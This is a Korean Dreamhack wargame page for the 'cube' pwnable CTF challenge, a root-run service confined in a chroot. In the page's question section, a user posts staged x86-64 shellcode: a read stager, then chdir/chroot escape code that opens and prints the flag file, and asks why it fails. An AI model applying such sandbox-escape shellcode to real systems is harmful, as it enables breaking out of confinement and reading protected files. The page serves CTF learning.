LEVEL 4

cube

pwnable
  • 문제 정보
  • 풀이 53
  • 난이도 투표 59
  • 질문 3
  • 최근 풀이자 259
  • 댓글 21
해당 문제는 Dreamhack CTF Season 1 Round #8 에 출제된 문제입니다.

문제 설명

Description

루트 권한으로 실행되는 서비스를 찾았습니다.
그러나, 큐브안에 갇혀서 빠져나올 수가 없습니다. 큐브를 탈출하고 플래그를 획득하세요!

난이도 투표 59

질문 3

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
read -> shell
`#include <stdio.h> asm( ".text\n" ".global run_sh\n" "run_sh:\n" // read(0, buf, 0x1000) " mov rdi, 0x0\n" // 표준 입력 파일 디스크립터를 첫 번째 인수로 설정 " sub rsp, 0x1000\n" // 버퍼 크기만큼 스택 공간 할당 (0x1000 = 4096 바이트) " mov rsi, rsp\n" // 할당된 스택 주소를 두 번째 인수로 설 정 " mov rdx, 0x1000\n" // 읽을 바이트 수 설정 (0x1000 = 4096 바이트) " xor rax, rax\n" // syscall 번호 0 (read) " syscall\n" // syscall 호출 ); int main() { run_sh(); return 0; }` 첫 번째 read(0,buf,0x80)에서 위를 shellcode로 입력한 뒤, 해당 shellcode에서 실행되는 read(0x1000)에서 ` #include <unistd.h> asm( ".text\n" ".global run_sh\n" "run_sh:\n" // chdir("../../../../../../") " mov rax, 0x2f2e2f2e2f2e2f2e\n" // "../../../../" 문자열 " push rax\n" " mov rax, 0x2f2e2f2e\n" // "../../" 문자열 " push rax\n" " mov rdi, rsp\n" // 스택 주소를 첫 번째 인수로 설 정 " xor rsi, rsi\n" // flags (여기서는 0) " mov rax, 0x50\n" // syscall 번호 80 (chdir) " syscall\n" // syscall 호출 // chroot(".") " mov rdi, 0x2e\n" // "." 디렉토리의 경로 설정 " mov rax, 0x3d\n" // syscall 번호 61 (chroot) " syscall\n" // syscall 호출 // open("/home/cube/flag", O_RDONLY) " movabs rax, 0x656c69662f656275\n" // "/cube/flag" 문자열 " push rax\n" " movabs rax, 0x6d6f682f\n" // "/home" 문자열 " push rax\n" " mov rdi, rsp\n" // 스택 주소를 첫 번째 인수로 설 정 " xor rsi, rsi\n" // flags (여기서는 0) " mov rax, 0x2\n" // syscall 번호 2 (open) " syscall\n" // syscall 호출 // read(fd, buf, 0x30) " mov rdi, rax\n" // open에서 반환된 파일 디스크립 터를 첫 번째 인수로 설정 " sub rsp, 0x30\n" // 버퍼 크기만큼 스택 공간 할당 " mov rsi, rsp\n" // 할당된 스택 주소를 두 번째 인 수로 설정 " mov rdx, 0x30\n" // 읽을 바이트 수 설정 (0x30 = 48) " xor rax, rax\n" // syscall 번호 0 (read) " syscall\n" // syscall 호출 // write(1, buf, rax) " mov rdi, 0x1\n" // 표준 출력 파일 디스크립터를 첫 번째 인수로 설정 " mov rdx, rax\n" // read에서 반환된 바이트 수를 세 번째 인수로 설정 " mov rax, 0x1\n" // syscall 번호 1 (write) " syscall\n" // syscall 호출 ); int main() { run_sh(); return 0; } ` 를 입력하여 cube_box에서 탈출하려고 하였는데, 제대로 동작하지 않네요 이유가 뭔가요
han76
LEVEL 4

cube

pwnable

출제자 정보

avatar
Dreamhack
대표 업적 없음

First Blood!

G1nM0o
워게임: 20
출제된 지 33분 만에 풀이 완료!

최근 풀이자 259

pythonplayer123
프레시맨
Security-Development
대표 업적 없음
floppy123
대표 업적 없음
n0ha
.HACK 2025 참가자
외눈물고기
대표 업적 없음
0dayrover
공부벌레
2계정
대표 업적 없음
avatar
PinBall
시스템 해킹 전문가
avatar
Tuple
소포모어
우빙
강의 수강: 1

댓글 21

avatar
Gunter
대표 업적 없음
오잉
avatar
pandas
시스템 해킹 전문가
로컬에서 속아버렸다...ㅜㅜ
rnehgud_
조커
shellcraft 딸깍
c0met
.HACK 2025 참가자
/?
KCh3dRi4n
대표 업적 없음
3sc4p3
avatar
ssongk
2024 Invitational Contenders
asm asm asm
avatar
나는재영
대표 업적 없음
?
avatar
kurt_c0bain
대표 업적 없음
난 바부 멍청이야
avatar
Kimg00n
Perfect 10
ㄴㅇㄱ
avatar
msh1307
대표 업적 없음
:)